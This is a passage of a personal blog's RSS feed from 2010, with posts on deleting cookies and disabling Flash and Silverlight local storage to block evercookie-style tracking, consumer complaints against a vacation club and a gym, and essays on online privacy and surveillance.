/&gt;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160; rm -ri /var/mobile/Library/WebKit/Cookies/*&lt;br /&gt;done&lt;/font&gt;&lt;/p&gt; 
&lt;p&gt;I know this and my previous entry are scorched earth tactics. I&#039;m okay with that for initial work and for browsers I don&#039;t use as my primary, due to limited privacy controls. Eventually these controls will need to be built into browsers (control to prevent, visibility into what is set when allowed, and an ability to delete). Something I can see all browsers (possibly except Chrome, because Google wouldn&#039;t be able to make money monetising your personal details then) doing.&lt;/p&gt; 
&lt;p&gt;In short, what does Apple need to do to fix this? They first need to update the MobileSafari preferences to properly clear HTML5 local storage. Currently, there is no way to do this without jailbreaking. Second, they need to add the ability to clear the history/cache/cookies/HTML5 storage for all apps with an embedded WebKit browser. How they do it is up to them, but a central option to clear all would be a good start.&lt;/p&gt; 
&lt;p&gt;Update: Clarified what the two separate problems are, and added a section on what Apple should do to fix. Also, hello to all the Slashdot and ThreatPost readers :)&lt;br /&gt;&lt;/p&gt; 
    </content:encoded>

    <pubDate>Mon, 18 Oct 2010 11:54:33 +0200</pubDate>
    <guid isPermaLink="false">http://www.singe.za.net/blog/archives/1016-guid.html</guid>
    <creativeCommons:license>http://creativecommons.org/licenses/by-nc-sa/3.0/</creativeCommons:license>
</item>
<item>
    <title>Adobe Flash LSO &amp; Microsoft Silverlight LSO Cookies</title>
    <link>http://www.singe.za.net/blog/archives/1017-Adobe-Flash-LSO-Microsoft-Silverlight-LSO-Cookies.html</link>
            <category>Security</category>
    
    <comments>http://www.singe.za.net/blog/archives/1017-Adobe-Flash-LSO-Microsoft-Silverlight-LSO-Cookies.html#comments</comments>
    <wfw:comment>http://www.singe.za.net/blog/wfwcomment.php?cid=1017</wfw:comment>

    <slash:comments>0</slash:comments>
    <wfw:commentRss>http://www.singe.za.net/blog/rss.php?version=2.0&amp;type=comments&amp;cid=1017</wfw:commentRss>
    

    <author>nospam@example.com (Dominic White)</author>
    <content:encoded>
    &lt;p&gt;I&#039;ve been playing with ways of nuking evercookie-style identifier dropping (note: killing the evercookie specifically is silly, I&#039;m aiming for unknown reimplementation too) and have worked some stuff out about LSOs. LSO are Local Storage Objects, they are ways Flash and Silverlight can store info on your machine rather than the remote server. The most common uses appear to be to drop an identifier, which behaves in exactly the same way as a cookie, or to store preferences (e.g. youtube volume settings).&lt;/p&gt; 
&lt;p&gt;The following information pertains to OSX, I&#039;ll get to other OS&#039;es but I imagine their implementations won&#039;t vary greatly. &lt;br /&gt;&lt;/p&gt; &lt;p&gt;On OSX, three locations are relevant for these:&lt;/p&gt; 
&lt;ol&gt; 
&lt;li&gt;&lt;em&gt;/Users/&amp;lt;username&amp;gt;/Library/Preferences/Macromedia/Flash Player/#SharedObjects/&amp;lt;8 random alphanumeric characters&amp;gt;&lt;br /&gt;&lt;/em&gt;&lt;/li&gt; 
&lt;li&gt;&lt;em&gt;/Users/&amp;lt;username&amp;gt;/Library/Preferences/Macromedia/Flash Player/macromedia.com/support/flashplayer/sys/&lt;/em&gt;&lt;/li&gt; 
&lt;li&gt;&lt;em&gt;/Users/&amp;lt;username&amp;gt;/Library/Application Support/Microsoft/Silverlight/is/&amp;lt;8.3 random alphanumeric&amp;gt;/&amp;lt;8.3 random alphanumeric&amp;gt;/1/&lt;/em&gt;&lt;br /&gt;&lt;/li&gt; 
&lt;/ol&gt; 
&lt;p&gt;The first is where &lt;strong&gt;Adobe Flash LSOs are stored&lt;/strong&gt;, the second is where &lt;strong&gt;site-specific Flash configurations are stored&lt;/strong&gt; and the final is where &lt;strong&gt;Microsoft Silverlight LSOs are stored&lt;/strong&gt;. Adobe LSO&#039;s are stored in files with the .sol extension. Silverlight uses a more complex storage mechanism and stores the data in a series of .dat &amp;amp; .txt files.&lt;br /&gt;&lt;/p&gt; 
&lt;p&gt;At first I played with just nuking everything with a recursive force delete. This will clear out anything in the LSO stores. You can even safely go as high up the directory tree as to exclude the &amp;lt;random dirs&amp;gt; e.g. rm -rf &lt;em&gt;/Users/&amp;lt;username&amp;gt;/Library/Application Support/Microsoft/Silverlight/is/*&lt;/em&gt;. &lt;strong&gt;However, this will not prevent future LSOs from being set&lt;/strong&gt;. This will help provide anonymity (from techniques using these identifiers) between each clearing out, but not during, and frankly isn&#039;t good enough.&lt;/p&gt;Next, I wanted to prevent them from being re-set. So, I looked at disabling the top-level storage directories by 
removing all permissions, but that causes undefined behaviour including 
Safari crashes and Flash/Silverlight universally not running. But Adam Shostack has helpfully sent me a script he had created which deleted the files, recreated blanks, and removed permissions. So, I set about experimenting with that. What I found was that while this works fine for Silverlight, it doesn&#039;t for Flash. &lt;strong&gt;Flash happily ignores the permissions and just overwrites the file&lt;/strong&gt; (no symlink vuln here, I checked). Ok, so I then tried linking them to /dev/null, same thing, works for Silverlight, but Flash just sets them back. In some cases, Flash will even go so far as to temporarily use different file extensions to write the files, and move them over to the original once they&#039;re available again. Is it just me or is that overly persistent? I eventually worked out, by actually looking at Adam&#039;s code, that changing perms or symlinking to /dev/null on the directory containing the .sol rather than the .sol itself works. However, even then, the browser seems to still be able to create temporary LSOs in memory that persist until refreshed.&lt;br /&gt; 
&lt;p&gt;I eventually decided &lt;strong&gt;using the programs&#039; own configuration options was probably the best way&lt;/strong&gt;. Both Flash and Silverlight have a configuration option to limit the storage of LSOs. Flash uses the &lt;a href=&quot;http://www.macromedia.com/support/documentation/en/flashplayer/help/settings_manager03.html&quot; title=&quot;Adobe Settings Manager&quot;&gt;settings manager&lt;/a&gt; to modify the file &lt;em&gt;/Users/&amp;lt;username&amp;gt;/Library/Preferences/Macromedia/Flash Player/macromedia.com/support/flashplayer/sys/settings.sol&lt;/em&gt; By flipping the second byte after the &amp;quot;&lt;em&gt;allowThirdPartyLSO&lt;/em&gt;&amp;quot; keyword you can manually set the setting. I opted to just generate a good settings.sol that I could overwrite the existing one with, which allows changes in this file to be easily managed by just regenerating a new one. Silverlight is much easier; you can either use the built-in settings manager by right-clicking in any Silverlight app, or create a blank file in &lt;em&gt;/Users/&amp;lt;username&amp;gt;/Library/Application Support/Microsoft/Silverlight/is/&amp;lt;random 8.3&amp;gt;/&amp;lt;random 8.3&amp;gt;/1/disabled.dat&lt;/em&gt; . Setting both of these permanently, and more robustly, disabled LSOs for both system.&lt;/p&gt; 
&lt;p&gt;However, one issue remains. Even with this setting, Flash still creates an entry is directory (2) above, to allow site-specific configurations items to be stored. This setting inherits from the global config, and won&#039;t allow custom data to be stored if all 3rd party LSOs are blocked. This setting is stored in &lt;em&gt;/Users/&amp;lt;username&amp;gt;/Library/Preferences/Macromedia/Flash Player/macromedia.com/support/flashplayer/sys/#&amp;lt;domain.name&amp;gt;/settings.sol&lt;/em&gt; in the second byte after the &amp;quot;allow&amp;quot; keyword.&amp;#160; &lt;strong&gt;This certainly provides some useful info for forensic investigators&lt;/strong&gt;: any time a user with all Flash local storage settings off and all privacy settings on visits a flash page, an entry will be created in the location above. You can&#039;t clear this from within the browser without the help of an extension which deletes the files. Also, less worryingly, Silverlight&#039;s file needs to be placed in the 
unique random directory structure that&#039;s created, which means a unique 
identifier persists. The solution there was just to change the directory name randomly, which Silverlight happily rolls with, and another UID bites the dust.&lt;br /&gt;&lt;/p&gt; 
&lt;p&gt;In short, the article above describes the best way to permanently disable LSO storage in Flash &amp;amp; Silverlight, and what not to try. The end result should be, that the evercookie won&#039;t be able to use them as locations. However, neither will legitimate applications. For the most part, this doesn&#039;t appear to break anything, as mostly apps store preference data, but there must be a few apps it will break. The solution to that will be detailed with some of the other, more interesting evercookie work at a later stage.&lt;br /&gt;&lt;/p&gt; 
    </content:encoded>

    <pubDate>Mon, 22 Nov 2010 22:28:09 +0200</pubDate>
    <guid isPermaLink="false">http://www.singe.za.net/blog/archives/1017-guid.html</guid>
    <creativeCommons:license>http://creativecommons.org/licenses/by-nc-sa/3.0/</creativeCommons:license>
</item>
<item>
    <title>Why I think the Quality Vacation Club is a Dubious Organisation</title>
    <link>http://www.singe.za.net/blog/archives/954-Why-I-think-the-Quality-Vacation-Club-is-a-Dubious-Organisation.html</link>
            <category>Politics</category>
    
    <comments>http://www.singe.za.net/blog/archives/954-Why-I-think-the-Quality-Vacation-Club-is-a-Dubious-Organisation.html#comments</comments>
    <wfw:comment>http://www.singe.za.net/blog/wfwcomment.php?cid=954</wfw:comment>

    <slash:comments>52</slash:comments>
    <wfw:commentRss>http://www.singe.za.net/blog/rss.php?version=2.0&amp;type=comments&amp;cid=954</wfw:commentRss>
    

    <author>nospam@example.com (Dominic White)</author>
    <content:encoded>
    &lt;p&gt; &lt;a href=&quot;http://donnedwards.openaccess.co.za/&quot;&gt;Donn&lt;/a&gt; is &lt;a href=&quot;http://donnedwards.openaccess.co.za/search/label/Court%20Case&quot;&gt;being bullied&lt;/a&gt; by &lt;a href=&quot;http://www.qvc.co.za/&quot;&gt;QVC&lt;/a&gt; for their Carlswald based marketing. He is being sued for defamation. Now I&#039;m no lawyer, but I&#039;m sure truth is a defence to defamation, as is it being in the public interest. If someone asked me whether to buy services from QVC, I would strongly recommend against it for the below reasons based on my experiences (and reiterated by a wealth of negative complaints on &lt;a href=&quot;http://www.hellopeter.com/comp_comment.asp?cid=708056&amp;amp;page=2&quot;&gt;hellopeter&lt;/a&gt;, even with them diluted through their user of different company names, and several blogs).&lt;/p&gt;
&lt;p&gt;P.S. The exact link between QVC and the marketing front is unclear, but based on their (now removed) documentation sent to Donn, and the information from commentators below, there definitely seems to be one. Given the years of bad press, QVC certainly can&#039;t claim they didn&#039;t know/endorse this. Either way, make up your own mind, don&#039;t take my stuff as gospel.&lt;br /&gt;&lt;/p&gt; &lt;ol&gt;
&lt;li&gt;They misrepresent themselves. They tell you that you have won a car. When I specifically asked Anna if this had anything to do with time-shares, she said &amp;quot;no&amp;quot;. I was lied to.&lt;/li&gt;
&lt;li&gt;It is so unlikely that you will win the car that the claim that, you have already won it, is misleading. Your chances are likely worse than the 1 in 15 Devine informed me of. Their business model could not survive if they had to give away a car to every 15 people. (According to &lt;a href=&quot;http://1.bp.blogspot.com/_vCXBX4q7xEo/SR2b4fhA3JI/AAAAAAAABIg/g3tvz1XeHHI/s1600-h/AnnexureG-01.jpg&quot;&gt;their own calculations&lt;/a&gt;, they make an average of R54k per 59 people. Giving away &lt;a href=&quot;http://www.chevrolet.co.za/content_data/LAAM/ZA/en/GBPZA/001/models/1A/prices.html&quot;&gt;a R68k car&lt;/a&gt; per 15 would put them at a loss of R213k before &lt;a href=&quot;http://ourwinners.co.za/&quot;&gt;other prizes&lt;/a&gt; and operating costs are taking into account.)&lt;/li&gt;
&lt;li&gt;They outright lied as to how they got my details. Devine told me it was a competition I entered &#039;sometime&#039;. I don&#039;t enter these sorts of competitions, and given he didn&#039;t have my surname, it is likely I didn&#039;t complete an entry. I also never give competitions in general nor QVC in particular permission to phone me.&lt;/li&gt;
&lt;li&gt;They keep changing their front company name (see the list below), nearly every company in the world tries to add value to their brand, identified by their name. Constantly changing your name, on the surface, makes it look as though you are avoiding the negative value attached, and it certainly helps to dilute their hellopeter scores.&lt;/li&gt;
&lt;li&gt;They ask you to bring a partner for what appear to be mischievous reasons. A close personal friend (who shall not be named due to fear of intimidatory litigation) who attended one of QVC&#039;s presentations said he and an older man and his wife were belittled in front of their wives for not being able to afford a break for the family. They will likely counter that they ask you to bring your partner to help drive the other car if you win. However, when I asked to bring a male friend of mine, Devine got insistent that it be my wife.&lt;/li&gt;
&lt;li&gt;Devine asked me how my surname was pronounced as he was unsure of how to pronounce it. The implication was that he had my surname. Given my surname is very pronounceable, it was clear he was trying to elicit this information by false pretences.&lt;/li&gt;
&lt;/ol&gt; 
&lt;p&gt;That&#039;s all I have, as I didn&#039;t go to their presentation thanks to the information provided to me by people such as Donn and numerous other sources (including the press). Their information allowed me to make an informed decision, and have QVC&#039;s untruths shown up as such. Disseminating this is in the public interest. At the very least it will save some people a potential waste of their time (as many of the hellopeter comments are thankful for), and at best it will force QVC to engage in honest and transparent marketing.&lt;/p&gt;
&lt;p&gt;As an aside, and to help Donn&#039;s case, here are their hello peter stats per &#039;front&#039; company:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href=&quot;http://www.hellopeter.com/comp_comment.asp?cid=708056&quot;&gt;Quality Vacation Club&lt;/a&gt; - Complaints 99 Resolved 23&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;http://www.hellopeter.com/comp_comment2.asp?cid=700341&quot;&gt;Prestige Business Solutions&lt;/a&gt; - Complaints 32 Resolved 3&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;http://www.hellopeter.com/comp_comment2.asp?cid=709428&quot;&gt;Unique Connections&lt;/a&gt; - Complaints 12 Resolved 0&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;http://www.hellopeter.com/comp_comment2.asp?cid=712308&quot;&gt;World Connect&lt;/a&gt; / &lt;a href=&quot;http://www.hellopeter.com/comp_comment2.asp?cid=713687&quot;&gt;VIP&lt;/a&gt; / &lt;a href=&quot;http://www.hellopeter.com/comp_comment2.asp?cid=713506&quot;&gt;VIP World Connect&lt;/a&gt; - Complaints 12 Resolved 0&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;http://www.hellopeter.com/comp_comment.asp?cid=708056&quot;&gt;Prime Vision&lt;/a&gt; - Complaints 10 Resolved 0&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;http://www.hellopeter.com/comp_comment2.asp?cid=698960&quot;&gt;Media Magic&lt;/a&gt; - Complaints 9 Resolved 0&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;http://www.hellopeter.com/comp_comment2.asp?cid=699560&quot;&gt;Mega Communications&lt;/a&gt; - Complaints 9 Resolved 0&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;http://www.hellopeter.com/comp_comment2.asp?cid=706909&quot;&gt;Ezweni Communications&lt;/a&gt; - Complaints 3 Resolved 0&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;http://www.hellopeter.com/comp_comment2.asp?cid=712522&quot;&gt;Dynamic Communication&lt;/a&gt; - Complaints 4 Resolved 0 (including &lt;a href=&quot;http://www.hellopeter.com/the_comment.asp?recid=210796&quot;&gt;one&lt;/a&gt; mislabelled under RCS)&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;http://www.hellopeter.com/comp_comment2.asp?cid=709417&quot;&gt;Real Communications&lt;/a&gt; / &lt;a href=&quot;http://www.hellopeter.com/comp_comment2.asp?cid=713769&quot;&gt;Real Communication&lt;/a&gt; - Complaints 1 Resolved 0&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;http://www.hellopeter.com/comp_comment2.asp?cid=709028&quot;&gt;Ecoworld&lt;/a&gt; - Complaints 1 Resolved 0&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;http://www.hellopeter.com/comp_comment2.asp?cid=710571&quot;&gt;Market Matrix&lt;/a&gt; - Complaints 1 Resolved 0&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Total 184 Complaints and 26 Resolutions in the last 12 months! That&#039;s an average of 15 complaints a month (there&#039;s that number 15 again) for the company names I&#039;ve manager to track down.&lt;/p&gt;
&lt;p&gt;P.S. This is like tracking a botnet :)&lt;/p&gt; 
    </content:encoded>

    <pubDate>Thu, 20 Nov 2008 04:06:48 +0200</pubDate>
    <guid isPermaLink="false">http://www.singe.za.net/blog/archives/954-guid.html</guid>
    <creativeCommons:license>http://creativecommons.org/licenses/by-nc-sa/3.0/</creativeCommons:license>
</item>
<item>
    <title>Orwell vs Huxley, Amusing Ourselves to Death</title>
    <link>http://www.singe.za.net/blog/archives/1013-Orwell-vs-Huxley,-Amusing-Ourselves-to-Death.html</link>
            <category>Politics</category>
    
    <comments>http://www.singe.za.net/blog/archives/1013-Orwell-vs-Huxley,-Amusing-Ourselves-to-Death.html#comments</comments>
    <wfw:comment>http://www.singe.za.net/blog/wfwcomment.php?cid=1013</wfw:comment>

    <slash:comments>0</slash:comments>
    <wfw:commentRss>http://www.singe.za.net/blog/rss.php?version=2.0&amp;type=comments&amp;cid=1013</wfw:commentRss>
    

    <author>nospam@example.com (Dominic White)</author>
    <content:encoded>
    In his &lt;a title=&quot;ZaCon Information Security for the Rest of Us&quot; href=&quot;http://zacon.org.za/&quot;&gt;ZaCon&lt;/a&gt; talk, &lt;a href=&quot;http://thinkst.com/&quot;&gt;Haroon Meer&lt;/a&gt; worked in a &lt;a href=&quot;http://www.acceleratingfuture.com/michael/blog/2010/07/amusing-ourselves-to-death/&quot;&gt;fascinating comparison&lt;/a&gt;, by Michael Anissimov, between the fears that drove George Orwell when writing &lt;em&gt;1984&lt;/em&gt;, and those that drove Aldous Huxley when writing &lt;em&gt;Brave New World&lt;/em&gt;. &lt;p&gt;In summary; Orwell feared censorship and centralised control of information, while Huxley feared so much information that people wouldn&#039;t engage in what really mattered. In a South Africa with proposed legislation to allow the government to declare some information &lt;a href=&quot;http://www.info.gov.za/view/DownloadFileAction?id=118894&quot;&gt;so secret&lt;/a&gt; that it cannot be covered by the media (even if it meets the criteria of in the public interest), proposals to &lt;a title=&quot;Internet Porn Bill&quot; href=&quot;http://www.jasa.za.net/download/pl-2010%20Internet%20Porn%20Bill.pdf&quot;&gt;start censoring parts of the internet&lt;/a&gt; and a &lt;a href=&quot;http://www.timeslive.co.za/local/article577048.ece/ANCs-media-tribunal-plan&quot;&gt;media tribunal&lt;/a&gt; to circumvent the existing ombudsman, it&#039;s easy to think Orwell is right. In many ways he is, and provides a haunting view of the dystopia this could become. However, there&#039;s no dichotomy here; Huxley&#039;s view is an equally important reminder of what we should do with the freedoms we have.&lt;/p&gt; 
&lt;p&gt;Personally, I find I could spend a whole day on Twitter/Facebook/IRC etc. I don&#039;t believe just using those technologies is a waste of time, in-fact I believe they can provide many benefits. However, it is easy to get trapped into constantly checking them and the inevitable meaningless interactions this leads to. Of course not every minute of the day can be spent in a productive rapture, but I wonder how much more we could achieve if we used them to better our collaboration as much as we better our cognitive load shedding. A potent reminder that freedom is worth nothing if not used.&lt;/p&gt;
&lt;p&gt;What&#039;s more, from a privacy perspective; while it&#039;s right to worry about oppressive regimes and creepy attempts at implementing the panopticon (Orwell), it&#039;s as right, if not more pertinent, to worry about the privacy invasion from the tools and companies we love (Gmail, Facebook, Twitter etc.).&lt;/p&gt; 
    </content:encoded>

    <pubDate>Mon, 11 Oct 2010 13:18:09 +0200</pubDate>
    <guid isPermaLink="false">http://www.singe.za.net/blog/archives/1013-guid.html</guid>
    <creativeCommons:license>http://creativecommons.org/licenses/by-nc-sa/3.0/</creativeCommons:license>
</item>
<item>
    <title>Online Privacy, a teaser</title>
    <link>http://www.singe.za.net/blog/archives/1012-Online-Privacy,-a-teaser.html</link>
            <category>Privacy</category>
    
    <comments>http://www.singe.za.net/blog/archives/1012-Online-Privacy,-a-teaser.html#comments</comments>
    <wfw:comment>http://www.singe.za.net/blog/wfwcomment.php?cid=1012</wfw:comment>

    <slash:comments>1</slash:comments>
    <wfw:commentRss>http://www.singe.za.net/blog/rss.php?version=2.0&amp;type=comments&amp;cid=1012</wfw:commentRss>
    

    <author>nospam@example.com (Dominic White)</author>
    <content:encoded>
    &lt;p&gt;&lt;em&gt;I&#039;ll be speaking at IS&#039; &lt;a href=&quot;http://www.internetix2010.co.za/&quot;&gt;Internetix 2010&lt;/a&gt; conference and this was originally posted &lt;a href=&quot;http://blog.internetix2010.co.za/2010/10/online-privacy-the-next-battleground/&quot;&gt;there&lt;/a&gt;. I was asked to put a blog post together as a teaser for my talk.&lt;/em&gt;&lt;/p&gt; 
&lt;p&gt;Privacy is dead, or so the common wisdom says. But that can&#039;t be true. &lt;a href=&quot;http://plato.stanford.edu/entries/privacy/&quot;&gt;Centuries of philosophy&lt;/a&gt; tell us that it&#039;s vital for our development and existence as human beings. As a trite example, try imagine having a truly intimate conversation with your partner while knowing someone else was listening. But that&#039;s not what I want to talk about here. If you want to have that conversation, start with &lt;a href=&quot;http://www.nnis.se/dokument/I_have_got_nothing_to_hide_and_other_misunderstandings_of_privacy_-_George_Washshington_University_Law_School.pdf&quot; title=&quot;&amp;quot;I&#039;ve got nothing to hide&amp;quot; and other misunderstandings of Privacy&quot;&gt;this paper&lt;/a&gt;. &lt;br /&gt;&lt;/p&gt; What I do want to talk about is how much privacy invasion we allow in our daily online activities. But first let&#039;s talk about Google. Google is a hugely successful corporation. What&#039;s more, people *think* it is a hugely successful corporation, and so attempt to copy their methods and business models. A quick look on Amazon for business books about Google shows 1660 books, while a search for the same on Yahoo shows 635. If that&#039;s not enough for you, then try and imagine another way of monetising online content other than through advertising (unless you&#039;re Rupert Murdoch). Google is so exemplary of the online business model, that the next best example, Facebook, provides little meaningful differentiation when it comes to privacy invasion. So what is this miraculous, often copied, business model; wholesale personal data collection, correlation &amp;amp; aggregation used to better target ads.&lt;br /&gt;&lt;br /&gt;You don&#039;t have to have thought very hard to have realised by now that Google&#039;s services aren&#039;t free. Sure, they don&#039;t cost you money, but Google needs to make money. They do that by collecting data about you, and using it to better target advertising at you. This doesn&#039;t worry most people, as long as that data isn&#039;t handed over to &lt;a title=&quot;Total Information Awareness&quot; href=&quot;https://secure.wikimedia.org/wikipedia/en/wiki/Total_Information_Awareness&quot;&gt;creepy government agencies&lt;/a&gt; or &lt;a href=&quot;http://fugitivus.wordpress.com/2010/02/11/fuck-you-google/&quot;&gt;personal stalkers&lt;/a&gt; or allowed to be &lt;a href=&quot;http://news.cnet.com/8301-30684_3-20016451-265.html&quot;&gt;individually perused by Google employees&lt;/a&gt;. While all of those things are possible, and warrant enough worry in themselves, the truth is you don&#039;t really know what data is being collected, where it&#039;s being exposed, in what form and to who. Let&#039;s take &lt;a href=&quot;http://www.acxiom.com/&quot;&gt;Axciom&lt;/a&gt;, a company who&#039;s, until recently, sole purpose was to buy data about people and sell it back to marketers. How much do they know about you, who are they selling it to and with what controls?&lt;br /&gt;&lt;br /&gt;So how does the average website leverage this world of advertising-based monetary rewards? They just include a few pieces of code into their website. This code can do all sort of things, from tracking you around the web to build a behavioural profile, interrogating your browser and computer for information, or just keeping a record of who and where you are. The problem is that sliding in these third party web-sources is easy to do, and there are many rewards to be had, both monetary and functional. The former is the primary driver, the filthy lucre of ad-click monetisation, while the latter gives you all sorts of ways to increase the loot (think analytics). Let&#039;s take an example site: &lt;a href=&quot;http://memburn.com/&quot;&gt;memeburn.com&lt;/a&gt;. I&#039;ve chosen this at random, not to single them out, because everyone is doing it. To view the kif content at memeburn, your browser only needs to communicate to the http://memburn.com/ webserver. However, when we hit the front page, before loading anything fancy like JavaScript, content is pulled from two other domains: afrigator.com (from the unsubtly named /track/ directory) and myscoop.co.za. After loading JavaScript, content is pulled from 34 domains in total (6 appear to belong to memeburn, 8 belong to Google, 6 to Facebook and 6 to Twitter with 10 others distributed among others). By way of comparison, a load of techcrunch.com hits 39 domains, this certainly isn&#039;t something memeburn only is engaging in. By just visiting the site, before we&#039;ve even moved the mouse or read an article your browser has contacted, been poked, prodded and queried by dozens of services, none of which actually present you with the content you&#039;re there for, and with whom, for the most part, neither you nor the site have any contractual relationship with. Sure, they&#039;re privacy policies will state that they only give your information to business partners, aka anyone who will give them money for it. As we move up the stack and start using the web applications, the number of services and amount of information collected only increases.&amp;#160; Come to the talk to see how something as simple as your search data speaks volumes about you. Now multiply that by every page you visit, every day you use the internet, over a lifetime; that&#039;s a lot of data. If you don&#039;t think it says anything about you, come to the talk to have your opinion changed.&lt;br /&gt;&lt;br /&gt;The big problem is with finding solutions. For you to individually protect yourself against the multiple methods of data collection is currently a huge burden. If you ever want to see just how big, come and check out my browser setup. The balance needs to be tipped, with companies bearing more of the costs of privacy, instead of it all resting on the consumer. In the meantime, if you&#039;re a web developer, start thinking about whether you really need to hand so much of your users&#039; data over to third parties. At the very least, it will result in faster page loads. In the meantime, while us consumers wait for privacy legislation to catch up, there is some help in the form of browser add-ons. For example, AdBlock (&lt;a href=&quot;https://chrome.google.com/extensions/detail/gighmmpiobklfepjocnamgkkbiglidom&quot;&gt;Chrome&lt;/a&gt;, &lt;a href=&quot;https://addons.mozilla.org/firefox/addon/1865&quot;&gt;Firefox&lt;/a&gt;) will cut out a lot of the third parties, and not impact your ability to see the content (i.e. no cost to you), in fact things look cleaner and load faster. This is the only way we can vote with our money and attempt to force a change in just how much privacy invasion needs to occur for something as uninteresting to the worlds problems as targeting advertising. 
    </content:encoded>

    <pubDate>Sun, 10 Oct 2010 22:58:02 +0200</pubDate>
    <guid isPermaLink="false">http://www.singe.za.net/blog/archives/1012-guid.html</guid>
    <creativeCommons:license>http://creativecommons.org/licenses/by-nc-sa/3.0/</creativeCommons:license>
</item>
<item>
    <title>Planet Fitness &amp; Temporarily Legal Near-Extortion</title>
    <link>http://www.singe.za.net/blog/archives/1010-Planet-Fitness-Temporarily-Legal-Near-Extortion.html</link>
            <category>Politics</category>
    
    <comments>http://www.singe.za.net/blog/archives/1010-Planet-Fitness-Temporarily-Legal-Near-Extortion.html#comments</comments>
    <wfw:comment>http://www.singe.za.net/blog/wfwcomment.php?cid=1010</wfw:comment>

    <slash:comments>1</slash:comments>
    <wfw:commentRss>http://www.singe.za.net/blog/rss.php?version=2.0&amp;type=comments&amp;cid=1010</wfw:commentRss>
    

    <author>nospam@example.com (Dominic White)</author>
    <content:encoded>
    I was woken up by a message from Planet Fitness this morning, informing me that the contract I though had expired in Aug 2009 had happily been renewed each month and I now owed them a large sum of money. I was not informed of any of this, and have not attended a Planet Fitness gym since 2009. While the guy on the line agreed this was pretty dodgy, &amp;quot;It&#039;s in your contract,&amp;quot; he says without having a copy of my contract. So, now I&#039;m waiting to see this contract while they look for it. In the meantime, I was cheerily informed that if I rejoin the gym, then will write the debt off, or if I pay half I will get 6months &amp;quot;free&amp;quot; and the rest written off. Better yet, while the system says I owe Rxx.xx, the consultant through the use of his calculator assures me I actually owe Rxx.xx * 1.5. Nice to know their billing systems are as dodgy as their customer service. &lt;p&gt;Are Planet Fitness that desperate for money and customers that they will engage in sneaky money collection, and expect those affected to rejoin with them? I hear other gyms and service providers engage in similar dodgy tactics. Have you been affected, if so please comment with the name of the service provider so we can keep a list of these people. Thankfully, the soon to be passed, Consumer Protection Bill will outlaw this practise, but it appears at least Planet Fitness is looking for one last hurrah.&lt;/p&gt; 
    </content:encoded>

    <pubDate>Wed, 22 Sep 2010 09:49:16 +0200</pubDate>
    <guid isPermaLink="false">http://www.singe.za.net/blog/archives/1010-guid.html</guid>
    <creativeCommons:license>http://creativecommons.org/licenses/by-nc-sa/3.0/</creativeCommons:license>
</item>
<item>
    <title>A Response to Paul Rubin's &quot;Ten Fallacies About Web Privacy&quot;</title>
    <link>http://www.singe.za.net/blog/archives/1008-A-Response-to-Paul-Rubins-Ten-Fallacies-About-Web-Privacy.html</link>
            <category>Privacy</category>
    
    <comments>http://www.singe.za.net/blog/archives/1008-A-Response-to-Paul-Rubins-Ten-Fallacies-About-Web-Privacy.html#comments</comments>
    <wfw:comment>http://www.singe.za.net/blog/wfwcomment.php?cid=1008</wfw:comment>

    <slash:comments>0</slash:comments>
    <wfw:commentRss>http://www.singe.za.net/blog/rss.php?version=2.0&amp;type=comments&amp;cid=1008</wfw:commentRss>
    

    <author>nospam@example.com (Dominic White)</author>
    <content:encoded>
    Paul Rubin had &lt;a href=&quot;http://online.wsj.com/article/SB10001424052748704147804575455192488549362.html&quot;&gt;a piece&lt;/a&gt; in the Wall Street Journal describing 10 fallacies of Web Privacy. This is my response, and the start of my blogs official &amp;quot;privacy&amp;quot; category.&lt;br /&gt; &lt;blockquote&gt; 
&lt;p&gt; &lt;em&gt;1) Privacy is free.&lt;/em&gt; Many privacy advocates 
believe it is a free lunch‚ - that is, consumers can obtain more privacy 
without giving up anything. Not so. There is a strong trade-off between 
privacy and information: The more privacy consumers have, the less 
information is available for use in the economy. Since information helps
 markets work better, the cost of privacy is less efficient markets. &lt;/p&gt; 
&lt;/blockquote&gt; 
&lt;p&gt;There are two problems with this statement. The first counter-fallacy is the idea that more information, any information, makes markets work better; that just isn&#039;t true. Take a simplistic example of someone who signs up for a golf magazine and is then spammed by so many adverts for golfing gear that they train their spam filter to block it. The company got some information, used it inappropriately, leading to the client making fewer purchases for no better reason than too much advertising. What&#039;s needed is a mechanism for the right (i.e. necessary to enable consented activities in the consumers interest) information to get to the right companies (i.e. not spammy affiliates or surveillance groups). This is exactly what privacy advocates are working for currently; what controls can enforce this rather than the overly permissive current state.&lt;br /&gt;&lt;/p&gt; 
&lt;p&gt;The second problem is that the cost goes both ways. Right now a consumer has to spend the effort in enforcing their privacy. The current technical complexities of, for example, ensuring cookies for services you use, are not used to correlate your identity across affiliate sites, is high and only performed by the few who understand the implications and care enough to do something about it. Thus, the cost (understanding, technical ability, actual work required) is too high for many consumers to reasonably enforce their own privacy. This cost needs to shift to companies in order to achieve a more reasonable middle ground.&lt;br /&gt;&lt;/p&gt; 
&lt;blockquote&gt; 
&lt;p&gt; &lt;em&gt;2) If there are costs of privacy, they are borne by companies.&lt;/em&gt;
 Many who do admit that privacy regulations restricting the use of 
information about consumers have costs believe they are born entirely by
 firms. Yet consumers get tremendous benefits from the use of 
information. &lt;/p&gt; 
&lt;p&gt;Think of all the free
 stuff on the Web: newspapers, search engines, stock prices, sports 
scores, maps and much more. Google alone lists more than 50 free 
services‚ - all ultimately funded by targeted advertising based on the use 
of information. If revenues from advertising are reduced or if costs 
increase, then fewer such services will be provided.&lt;/p&gt; 
&lt;/blockquote&gt; 
